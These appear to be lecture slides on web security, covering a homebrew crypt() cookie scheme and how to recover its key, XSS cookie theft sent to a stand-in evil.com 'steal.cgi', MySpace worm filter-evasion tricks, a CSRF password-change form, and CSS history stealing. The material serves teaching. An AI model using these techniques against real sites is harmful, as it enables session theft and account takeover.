Web Security

Tadayoshi Kohno

Thanks to Dan Boneh, Dieter Gollmann, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...
Goals for Today

- Web security
Idea: use `user,hash(user||key)` as authenticator

- Key is secret and known only to the server. Without the key, clients can’t forge authenticators.
- `||` is string concatenation

Implementation: `user,crypt(user||key)`

- `crypt()` is UNIX hash function for passwords
- `crypt()` truncates its input at 8 characters
- Usernames matching first 8 characters end up with the same authenticator
- No expiration or revocation

It gets worse... This scheme can be exploited to extract the server’s secret key
# Attack

<table>
<thead>
<tr>
<th>username</th>
<th>crypt(username,key,“00”)</th>
<th>authenticator cookie</th>
</tr>
</thead>
<tbody>
<tr>
<td>AliceBob1</td>
<td>008H8LRfzUXvk</td>
<td>AliceBob1008H8LRfzUXvk</td>
</tr>
<tr>
<td>AliceBob2</td>
<td>008H8LRfzUXvk</td>
<td>AliceBob2008H8LRfzUXvk</td>
</tr>
</tbody>
</table>

“Create” an account with a 7-letter user name...

- AliceBoA 0073UYEre5rBQ   Try logging in: access refused
- AliceBoB 00bkHcfOXBKno  Access refused
- AliceBoC 00ofSJV6An1QE   Login successful! 1\(^{st}\) key symbol is C

Now a 6-letter user name...

- AliceBCA 001mBnBElXRuc   Access refused
- AliceBCB 00T3JLLLfuspdo  Access refused... and so on

- Only need 128 x 8 queries instead of intended 128\(^8\)
- Minutes with a simple Perl script vs. billions of years
Better Cookie Authenticator

- **Capability**: Describes what user is authorized to do on the site that issued the cookie
- **Expiration**: MAC(server secret, capability, expiration)
  - Cannot be forged by malicious user; does not leak server secret

**Main lesson**: be careful rolling your own
- Homebrewed authentication schemes are easy to get wrong

**There are standard cookie-based schemes**
Web Applications

- Online banking, shopping, government, etc.
- Website takes input from user, interacts with backend databases and third parties, outputs results by generating an HTML page
- Often written from scratch in a mixture of PHP, Java, Perl, Python, C, ASP, ...
- Security is a potential concern.
  - Poorly written scripts with inadequate input validation
  - Sensitive data stored in world-readable files
JavaScript

- **Language executed by browser**
  - Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page

- **Often used to exploit other vulnerabilities**
  - Attacker gets to execute some code on user’s machine
  - Cross-scripting: attacker inserts malicious JavaScript into a Web page or HTML email; when script is executed, it steals user’s cookies and hands them over to attacker’s site
  - Risks to doing “input validation” on client within JavaScript
Scripting

```html
<script type="text/javascript">
    function whichButton(event) {
        if (event.button===1) {
            alert("You clicked the left mouse button!")
        } else {
            alert("You clicked the right mouse button!")
        }
    }
</script>

<body onMouseDown="whichButton(event)">
    ...
</body>
```

Script defines a page-specific function

Function gets executed when some event happens (onLoad, onKeyPress, onMouseMove...)

JavaScript Security Model

◆ Script runs in a “sandbox”
  • Not allowed to access files or talk to the network

◆ Same-origin policy
  • Can only read properties of documents and windows from the same server, protocol, and port
  • If the same server hosts unrelated sites, scripts from one site can access document properties on the other

◆ User can grant privileges to signed scripts
  • UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail
Risks of Poorly Written Scripts

- For example, echo user’s input

http://naive.com/search.php?term="Security is Happiness"
search.php responds with
<html> <title>Search results</title>
<body>You have searched for <span><?php echo $_GET['term'] ?></span>... </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Stealing Cookies by Cross Scripting

**evil.com**
- Access some web page
  - Forces victim’s browser to call hello.cgi on naive.com with script instead of name
- GET/steal.cgi?cookie=

**victim’s browser**
- Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com

**naive.com**
- hello.cgi executed
- <HTML>Hello, dear
  - Welcome!</HTML>

For example, embed URL in HTML email
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No <script>, <body>, onclick, <a href=javascript://>
- ... but does allow <div> tags for CSS.
  - <div style="background:url('javascript:alert(1)')">
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (2)

- “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

- Started on “samy” MySpace page
- Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero
- 5 hours later “samy” has 1,005,831 friends
  - Was adding 1,000 friends per second at its peak
- Not an XSS attack

http://namb.la/popular/tech.html
Cross Site Request Forgery

- Websites use cookies to authenticate you.
- Malicious website can initiate an action as you to a good website
  - Your cookie for the good website would be sent along with the request
  - Good website executes that action, thinking it was you
Changing Password with CSRF

For example, embed URL in HTML email

Access some web page

<form ... action="https://good.com/update_acct"><input name="passwd" value="owned"></form>
<script> (submit form) </script>

Forces victim’s browser to submit a form to good.com. In that form is a new password.

GET/ update_acct.cgi ... with "passwd=owned" and cookie

update_acct executed

users password changed to "owned"
History Stealing

Pages in web browser are colored differently based on whether you have visited them or not.
Attacker can exploit this to figure out what web pages you have visited.

Example:

- [http://ha.ckers.org/weird/CSS-history-hack.html](http://ha.ckers.org/weird/CSS-history-hack.html)
- [http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html](http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html)
- Other examples are a bit more “directed”...